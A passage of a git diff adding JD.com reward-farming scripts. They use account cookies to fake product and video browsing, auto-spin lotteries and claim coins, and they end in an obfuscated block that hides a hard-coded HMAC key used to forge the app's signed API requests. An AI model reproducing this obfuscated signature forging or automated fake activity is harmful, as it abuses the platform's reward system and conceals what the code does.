(iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_signfaker.js b/jd_speed_signfaker.js new file mode 100644 index 0000000..cce11cc --- /dev/null +++ b/jd_speed_signfaker.js @@ -0,0 +1,801 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +*/ +const $ = new Env('京东极速版'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + // await signInit() + // await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + // await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return 